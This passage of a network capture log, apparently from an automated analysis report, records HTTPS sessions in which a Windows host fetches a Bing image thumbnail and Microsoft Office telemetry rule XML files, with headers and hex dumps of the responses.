8a ac db d3 6b 3b 37 39 55 f4 6e Data Ascii: -&6{UkL1s]kOh-w?nB~vMg,f."^}?YoXZ:=Z2NvN3vn_ftN3Z.4Unp_bJg\|[g]}+\:~x7[\|6l#?*x<Tqt:k;79Un
2024-11-25 04:46:21 UTC	16067	IN	Data Raw: b7 af db 91 13 76 c9 87 dd 1d f7 67 3d fe e9 ac 6d 5b c3 6d 71 e2 6d 7a d6 f9 2d 1b 52 bc bb 5f b3 dc 5c a7 fc b3 48 fe 42 a8 ad fc 4c aa 73 f9 83 5d ad d5 8d a5 df 88 26 58 ff 00 75 a8 35 a3 2c 2e 8e de 44 df 2f ee d8 ff 00 7c fd e5 cf fb 35 ca 6b d6 13 db 6b 93 6a 4d 77 25 c4 d6 b6 ec be 4c c8 bb be 4f ba 71 fd ec d7 46 5d 8a 9a 8a 85 3a 9c ad 47 48 db ab 7c ca cd 74 e9 ae 8d 25 73 6a 91 6e 3b 9a 53 58 40 96 b6 97 17 50 79 b7 56 b3 46 be 4b ce b1 6f 91 e3 77 65 54 6e 1b e6 da 7f dd ab 3e 24 ba 5d 47 c3 0f 0d d4 12 2c 29 ab c1 f6 1f 27 e5 d8 c1 4e ef 97 fb bf 4c 7a d7 9a 6b 92 cb 75 f0 e5 ed f4 bb b9 de de ce ee 4b 99 b7 a2 b6 fc af de 3f 4a d3 f8 6f a9 ea 1a 25 ac 2d a8 47 05 af db 1d 57 ca 87 ef 79 61 78 6d bf de e5 bb f4 ae e9 64 b5 63 49 57 e7 e6 9c Data Ascii: vg=m[mqmz-R_\HBLs]&Xu5,.D/\|5kkjMw%LOqF]:GH\|t%sjn;SX@PyVFKoweTn>$]G,)'NLzkuK?Jo%-GWyaxmdcIW
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: 3c df 9f fd 6c d8 ff 00 74 7f 3a c3 b8 78 1a 48 6e 26 9f 76 e7 dc 89 0a 6d 5d a3 a7 6a 54 26 a7 07 0e 5f 7b bf 5f 40 92 f7 af 7d 09 3c 45 79 1d c7 ee ee 3e d5 14 db 3c dd f6 ff 00 37 b7 cf 57 bc 3b 72 b7 1a 6d f4 96 ff 00 bd 55 87 ca d9 b1 bf 7c df af 4a c5 92 f2 f3 cf 9a de 3f 33 c9 9e 6d b0 bb fd dd c7 e6 fb d5 7b 4f 78 34 48 12 66 fd ec 71 6e 57 d9 ef fa 7b d6 98 8a 29 61 95 28 ab cb a2 df b5 c5 17 79 df a1 d5 c3 a1 2b 78 7e e2 e1 b5 2f f4 89 51 65 48 5e 0d bf bc 4c 6e 55 eb fd e6 c7 f9 c4 1e 15 f1 3d 8e 97 1b df 34 ff 00 68 b8 58 76 a6 c4 f9 b7 6d 70 3a fe 55 4f 5c f1 0c bf f0 8a a5 c4 70 6a ab 33 4c ab 6f 71 b3 6a ba ed f9 b3 fd f6 c7 6f c7 ad 71 7a 6c ab 06 c9 17 cf f2 d7 ee 6f 4d ad f7 ab 83 03 92 d5 c7 61 ea fd 71 bb 37 a2 d3 a5 b4 ba 5b 6d e6 74 Data Ascii: <lt:xHn&vm]jT&_{_@}<Ey><7W;rmU\|J?3m{Ox4HfqnW{)a(y+x~/QeH^LnU=4hXvmp:UO\pj3LoqjoqzloMaq7[mt
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: ed 8e cd 16 d7 50 0e 03 71 d7 fd 95 fb d5 4f 54 d1 e5 d6 74 df 27 fe 5f ac ed fc bb 1d 8e cb e7 7c d9 c3 67 bf ff 00 58 55 cd 06 e2 29 64 86 ce de 78 da d5 bc b6 b8 7d f2 6e ff 00 69 77 e3 ee fd 45 6d d8 cf fd 9d ac b3 32 6e 5b 74 58 b6 7c cd ff 00 d9 32 86 e9 dc 76 35 f3 d5 31 32 c1 5b d8 c6 d3 8e b7 d6 ef 5e a9 fd cd 76 67 6d 0a 5c ea ed 1e 67 0e ae da 76 8f 71 63 0c 9f 67 b8 96 68 f7 fc ed e6 a3 0e 72 2b ab f0 6e b9 05 e5 8a 69 b2 4f 3c b3 2d a4 8a f3 6f 66 d9 bd bf 8f fb b8 db ef 5d a7 8d f4 3d 33 c5 d1 b6 d8 e0 fb 47 cb b2 e6 54 db 3f 2b d3 76 3e 6f f8 15 78 fd e6 9d ab f8 57 52 9a 16 8e 48 a6 fd e6 cb 8d 9b 5a 65 fe 47 e9 5e ce 13 19 80 cf f0 f2 a6 e3 ec eb df 9a cd f5 b5 ae 9d b5 5e 46 75 29 ce 9c 93 b5 e3 dc ed ee 2e ed 75 4b a4 be 9a 08 ef 6d ed Data Ascii: PqOTt'_\|gXU)dx}niwEm2n[tX\|2v512[^vgm\gvqcghr+niO<-of]=3GT?+v>oxWRHZeG^^Fu).uKm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49727	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:20 UTC	346	OUT	GET /th?id=OADD2.10239370639329_16GDTY03HO5SY2UBG&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-25 04:46:20 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 770657 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 846A43B4788B4783942FED5BEB846049 Ref B: EWR30EDGE1622 Ref C: 2024-11-25T04:46:20Z Date: Mon, 25 Nov 2024 04:46:20 GMT Connection: close
2024-11-25 04:46:20 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1d 32 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 34 3a 32 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``2ExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:24:228
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: e3 7b ab 74 4f dd f9 92 7e f2 9d 1c 7f be ff 00 9e 94 f8 e0 ba d4 25 93 64 3e 63 f9 7e 67 fc 05 6a 25 36 d9 29 b5 a3 35 fe 23 e9 ba 1c 36 b6 49 a0 c5 37 da 23 89 ff 00 b4 7c cf ef ef f9 76 d7 22 ac 16 df 8f bd 5d 4f 8b 7c 41 7f e2 cf 11 7d b5 ec ed 6d fc bb 78 63 78 ed a2 d8 9b 63 4d 95 ca 6d fd ec 89 5a 42 2d a4 69 87 52 50 e5 93 d5 13 aa ff 00 c4 bf e4 aa ac af dc 50 ff 00 2c 7b 28 69 5d aa ad 63 a2 31 68 6b f5 a3 9a 73 26 df 9c 0f 96 9b cd 05 8e ff 00 96 34 de 68 e6 8e 68 00 e6 8e 69 cb 1f f7 a9 bc d0 17 4c 3f da a7 03 ba 3d b4 22 bd 3a dd 6a 89 6e c4 6e bb 68 e6 a4 8e 2d d2 d2 48 86 36 c0 a4 87 75 7b 0c e6 8e 69 d1 ae fa 3c b3 eb 45 82 e3 79 a3 9a 1d 76 d1 cd 21 87 35 35 93 22 c9 f3 d4 28 db 6b 63 45 82 c6 ef 52 8c 6a 13 79 10 6c df 21 a6 95 d9 15 1d Data Ascii: {tO~%d>c~gj%6)5#6I7#\|v"]O\|A}mxcxcMmZB-iRPP,{(i]c1hks&4hhiL?=":jnnh-H6u{i<Eyv!55"(kcERjyl!
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: 83 27 ef ff 00 d4 ef f2 ed db f8 eb 83 f1 3e ab 69 a2 eb 91 e8 be 1b ff 00 4c b5 d2 ee 61 ff 00 48 b9 fb f7 72 af fe cb 5c 55 31 d1 c4 41 fd 5d ea 8c 6a 62 9d 59 25 05 6b 1f 5d 7c 24 d4 f4 5b dd 26 4b 5b db 3f b1 49 1f ee fc b8 a2 df e6 4b fe fd 73 fe 22 f8 9e fe 1d b4 d3 6e af b4 29 7f b1 e3 d4 66 b7 92 48 e5 fe 35 fe ea ff 00 15 72 5e 16 f1 7f 88 25 f1 16 8b a4 09 ad 23 ba 92 54 8e 4f f9 f7 b4 9e 4f 9d bf df f9 6b cf a4 6d 4a e3 56 92 d7 c7 1a c5 af 91 1c 93 7d 8a 3f b5 a3 fe f7 7e e6 7d bf ed 57 c3 bc bf eb 71 9c 71 11 f7 7f 33 9e 12 82 ab a1 ec 57 5a be ab f1 92 ee db fb 77 4e d4 34 af 09 69 f1 ba 69 d6 d1 7d fb f7 6f e3 7f f6 56 bc 37 e3 b7 c2 0d 73 4f f1 5e 81 68 9a ec be 25 92 e2 3d 9f 67 8a 2f df 41 12 bf f8 57 b0 78 57 e2 d7 87 bf e1 20 b1 d0 ae Data Ascii: '>iLaHr\U1A]jbY%k]\|$[&K[?IKs"n)fH5r^%#TOOkmJV}?~}Wqq3WZwN4ii}oV7sO^h%=g/AWxW
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: 74 fb 7f ec eb 3f b4 5c dc 1f fd 14 9f ed 9a 9c b3 19 89 95 06 f1 aa d2 2f 09 8a a9 ca fd ba d4 f3 85 2e df 20 34 f8 ed 9d be e8 af 5b f8 b3 f0 96 c7 c1 1e 03 b2 bd 9f 52 9a e3 5e b8 d9 25 cd b4 71 6d 8a d1 19 33 c9 fe f5 64 78 12 d6 1b af 09 49 0d b6 93 0e f9 24 f2 2e 35 5b 89 7e 48 f3 ce d5 af 46 96 32 95 58 39 d3 77 46 f2 c7 41 d3 e7 a7 ae b6 3c df e7 fb 95 63 cd 55 fd d3 d5 9f 11 49 6d fd a1 b6 0f 9e 38 fe 5a a3 94 69 2b a2 32 ba 4c ea 4f 9e 2a 4d 58 5b a9 de 6f f7 6a 1e 6a e3 b2 34 5b 2a 29 a4 23 e4 aa ea 54 65 6d 12 20 e6 a4 8d bf 73 42 c5 23 7c d5 24 cb ba 3d ff 00 72 9d d1 4d ab 85 d2 7f ab fd ef 99 be 8d ab 0f cd fe b2 a1 64 db 4e dc eb 15 08 56 d0 6e e7 6a b1 1d b7 f0 7f 1d 57 b5 ff 00 59 5a 5e 6a 5b cb f3 d4 39 34 45 49 35 a2 28 dc db b4 3d 6a Data Ascii: t?\/. 4[R^%qm3dxI$.5[~HF2X9wFA<cUIm8Zi+2LOMX[ojj4[)#Tem sB#\|$=rMdNVnjWYZ^j[94EI5(=j
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: c1 73 33 47 b3 fd 5a 54 1a a7 96 ad f2 7c f4 2d 47 19 c9 ce cc ac a2 2a 87 9a b9 a6 d9 fd a3 ee d4 ad 06 d8 be 4a 6d 97 ed 62 9b 45 5d a8 b4 54 f6 f0 7f 1d 14 73 10 ea 24 cf b3 75 9f 0d 5a 68 fa 4d 8d d7 89 34 db bb d8 ed ed bf d1 a4 ff 00 96 37 0f bf e7 db 5d 7e 9b e0 5d 26 e3 49 b6 d5 2f 61 b4 b2 fd da 7d 9a 49 7f b9 fe ed 6f 7c 5b f1 c5 84 5a 7d 8e 82 f3 5a 49 a6 c7 fe 97 1e a5 e5 7c f1 bc ae ff 00 c3 ef 55 60 9e 0b 2d 12 c7 4b ba 9a 6f b5 5e d9 3c 92 49 ff 00 3e fb 7f b9 5f 9a d6 c5 e2 39 2f 1d cf 46 58 67 4d b2 69 fc 4b a2 da 43 e4 59 4d e6 47 65 27 97 fe ab fe 05 5c 04 7a d4 1f f0 b2 24 4d 46 ce 69 20 b8 fd e7 97 ff 00 3e ff 00 ed 57 5b e1 1b c9 f5 5f b3 59 3e 9b 34 7e 67 fa 44 97 32 c4 9b ee 3f 87 ee d5 af 8b 9e 13 f0 f6 89 e0 8b ed 5d e1 f3 2f a3 Data Ascii: s3GZT\|-G*JmbE]Ts$uZhM47]~]&I/a}Io\|[Z}ZI\|U`-Ko^<I>_9/FXgMiKCYMGe'\z$MFi >W[_Y>4~gD2?]/
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: e6 6a 5f f2 d3 f8 d2 37 6a ee af be 18 5f de ea 1a 6d d4 fe 2a fb 45 f5 94 9e 5c 76 57 31 79 2f 6e ec 9f fa 0d 79 b7 8d 3e 1c f8 de 28 63 79 ec e6 b7 82 f6 f7 cb 96 48 a5 fe ef f7 bf d9 a8 a3 8a 8b 4e 30 91 95 6c b6 1f 0d b4 3b 29 ec 74 5d 6f 50 b2 d3 be d9 fd 9d 3c 9f e8 f7 3f f4 cd ff 00 bd 4c d5 7c 43 7f e1 fb bf ec 4b 29 bf b4 63 b7 fd e7 da 6d be 4f 31 fe ef cc ff 00 ec d6 27 86 7c 35 e2 1f 10 78 8a 4b 28 fc 98 ee ad f7 dd fe f6 5f ee a7 f1 32 fd e6 6a e4 bc 63 73 ad 68 ff 00 66 df 67 0f 99 e5 cd e6 47 14 4f e4 c6 ec 9f c5 fe e5 4d 39 55 94 ed 27 73 97 fb 35 53 5c ed 68 7a 36 a4 ba 16 b7 34 68 97 9f 6d f2 ed 93 cc fd ef fa b7 6a b9 a5 2e 93 a7 fe e2 ca 1f 2e b9 0d 3b 5c d4 a5 f0 cc 69 fd 9b 69 fe b5 24 f3 22 8b fd 8a 96 38 35 29 61 df 6b fe be 4f f5 Data Ascii: j_7j_m*E\vW1y/ny>(cyHN0l;)t]oP<?L\|CK)cmO1'\|5xK(_2jcshfgGOM9U's5S\hz64hmj..;\ii$"85)akO
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: ed a8 2e 3c cb a9 ff 00 e5 a7 fa cf 36 bc df 4b 91 e5 f9 fc a9 77 d6 c4 0b 3b cb b1 ff 00 d5 d7 7c 68 26 96 87 85 3c 47 22 69 ee 6b be 9b a6 ea 1a 8e cb 5f dd d5 8f f8 43 65 96 6d 90 4f 17 fd b4 a9 fc 3f a7 c6 f5 d3 41 02 27 dc ad 9d 47 0d 13 39 14 79 f5 67 25 07 83 2f 1f ef 98 a9 ff 00 f0 88 dc 27 78 ab b8 b5 8a 0a 9a 78 a3 fb e9 53 f5 99 5c cf d9 3e a7 11 6b e1 af f9 e9 35 6c e9 ba 2c 76 ff 00 72 b6 7c aa 73 c5 b2 94 ab 39 22 52 51 77 48 ce 8f 4f df 35 4f 05 9c 76 f7 75 6a 3f 33 ee 24 35 76 d6 0f ef d6 13 e6 5a 95 ed 17 72 7d 1e da 34 9b 7f fc b4 ae a2 c6 29 1e b1 ac 62 f2 a6 de f5 a9 6b 73 1b 4d bd 2b c4 c5 46 52 67 45 0a 96 57 2d 3a c1 14 df 24 3e 65 61 dd 4b a6 e9 9e 64 f3 cd fb cf f5 9f bd ab 57 d3 dd bc db 2d 61 9a 4f fa 69 5c d5 df 85 75 6d 56 ee Data Ascii: .<6Kw;\|h&<G"ik_CemO?A'G9yg%/'xxS\>k5l,vr\|s9"RQwHO5Ovuj?3$5vZr}4)bksM+FRgEW-:$>eaKdW-aOi\umV
2024-11-25 04:46:21 UTC	16065	IN	Data Raw: c4 77 16 fb f8 7f e1 fb b5 32 c9 6b 28 ba 91 76 5d 11 c7 ed 94 ee a5 23 b6 f8 bb aa 47 67 e1 3f 09 a4 3a 76 a0 f2 69 d2 5c c1 a8 db 4b 2f fc bc 79 db be 7f ae ea ea be 1c ff 00 c2 35 e2 5b 48 dd fc 9f 3e 3b 67 b7 d4 ac af a2 f2 52 39 77 ff 00 0f f2 ae 0f c3 37 9f 6b fb 4e 91 3d 9c d2 6a 3a ac 6f 27 99 e6 ef 78 ee 17 2f 13 ff 00 8d 50 f0 7d 8f 8a 3f b7 23 83 57 bc 9a 38 24 df 77 e5 c7 f3 fd a2 7f e0 8f e5 fe 2d d5 d5 0a 3f bb e5 96 8c eb a3 ee ca e7 b2 78 f3 e0 cf 84 2d f4 48 d2 cb 52 fd fd c6 ff 00 2e db 4d 89 26 79 3e 4a f0 2d 63 4c fe cf b4 b2 df ac 7d 8e ef 4e 8f f7 91 c9 0b a3 f9 bb fe e7 fb 4c b5 ea fa 8e ab e2 ff 00 0a 1b dd 52 7b c8 b4 ef 13 5c 5b 79 9f 66 92 2f dc c6 8d f7 bf d9 e6 b8 0f 12 78 e6 0f 14 69 d2 5d 6b a6 59 35 8d 3e 5f b5 f9 92 9d f6 Data Ascii: w2k(v]#Gg?:vi\K/y5[H>;gR9w7kN=j:o'x/P}?#W8$w-?x-HR.M&y>J-cL}NLR{\[yf/xi]kY5>_
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: b9 ab 11 41 27 d9 7e d2 92 e2 85 14 55 d2 2a f3 57 34 75 df 36 cf 27 cc a2 c6 da 36 8f 7c b3 79 75 0a ef 4b 8f dd 49 f3 7a d3 50 e5 64 3d 74 24 78 3f d2 b6 4d fb ba af 37 de 15 af 1d a4 d7 56 d9 f3 62 46 ac a9 e0 92 29 76 3d 54 d6 9a 21 45 dc 6f 98 7d 2a 58 f6 34 7f 3d 40 dc 1a 73 ff 00 b1 59 f3 3b 94 e3 71 d2 37 ef be 4a 6c 8d ba 9b cd 1c d2 94 ae 50 73 52 db cd b0 e1 fe e5 45 cd 1c d2 57 4c 03 69 a1 1b 6d 58 b1 29 e6 6c 7f e3 a4 ba 48 e2 9b 62 1f 32 ab 95 0a e3 60 9e 68 a6 f3 93 ef d1 51 3f 5a 2a 6e fb 87 2a 3d df c5 5a d7 89 2d fc 79 a2 7c 42 d2 ec ff 00 d2 bc bf b3 c7 e6 c5 bd 24 75 fd df fe 83 5e 71 7d af 5d ea 7e 36 d3 af 7c 4f 7b a8 48 2d e5 fd e0 3f f2 c3 e7 dd b5 3d b3 5f 58 78 ba c7 49 d7 7c c8 2f 74 d8 74 e9 3c cf 32 3f 2a 5d 89 5e 27 f1 0b c1 Data Ascii: A'~UW4u6'6\|yuKIzPd=t$x?M7VbF)v=T!Eo}X4=@sY;q7JlPsREWLimX)lHb2`hQ?Zn=Z-y\|B$u^q}]~6\|O{H-?=_XxI\|/tt<2?*]^'
2024-11-25 04:46:21 UTC	16384	IN	Data Raw: b4 8f 0d 68 41 3d a2 5a 6c 9e ad 6d 8e 2b 4d f0 7f cb 4a 9e 66 3e 5b ee 57 8e 78 12 1a af 25 f4 69 0f 97 07 ee ea 8c 9e 7a 7f d7 3a af 1b 6d f9 e9 f2 8d 24 8b 1b 63 fb ef 53 fd 99 25 8b fd 4f 97 54 3c f9 1a ad 7d af f7 35 4b 64 05 39 b7 a7 c8 69 02 1d 9b aa 46 64 63 c0 d9 4d 98 22 cb f2 1d e2 a6 56 dc a1 9c d4 d6 26 dc 4b fe 93 14 92 27 a4 66 a1 e6 8e 6b 30 34 af 2c 2d 16 c7 ed 56 ba 94 32 73 fe aa 4f 96 5a cd e6 8e 68 e6 80 0e 68 a1 7a d1 5a 28 b6 07 de ba a2 c1 a5 78 66 3b bb a8 6d 35 5b af f9 e7 7d 0f 9d e5 a3 27 ee fe f7 f1 ef f9 6b 9e 9b fb 27 c5 ba 4c 7e 27 be b3 9a 48 2c ef 52 3f b3 47 f7 27 b7 d8 9e 6a ff 00 c0 2b b2 d5 7c 2b 7f e2 59 a4 b5 b5 fe cf fd de a3 6d 3f da 7c df 9e 44 5a 2f bc 23 27 86 b4 3f ec 84 9a 18 ed 74 e8 a6 b8 f3 3f e7 e3 77 cc Data Ascii: hA=Zlm+MJf>[Wx%iz:m$cS%OT<}5Kd9iFdcM"V&K'fk04,-V2sOZhhzZ(xf;m5[}'k'L~'H,R?G'j+\|+Ym?\|DZ/#'?t?w

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:22 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:22 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c9502ca5-e01e-0033-0fb4-3e4695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044622Z-178bfbc474bwlrhlhC1NYCy3kg00000006y000000000c1u4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:22 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:22 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:22 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 97edb58e-001e-00a2-13a4-3ed4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044622Z-178bfbc474bxkclvhC1NYC69g400000006x0000000009zn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:22 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:22 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:22 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:22 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044622Z-15b8b599d88hd9g7hC1TEBp75c00000005ag00000000hby2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:22 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:22 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:22 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:22 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: a3d07856-b01e-0084-3a7e-3bd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044622Z-174c587ffdfgcs66hC1TEB69cs000000058g00000000erp6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
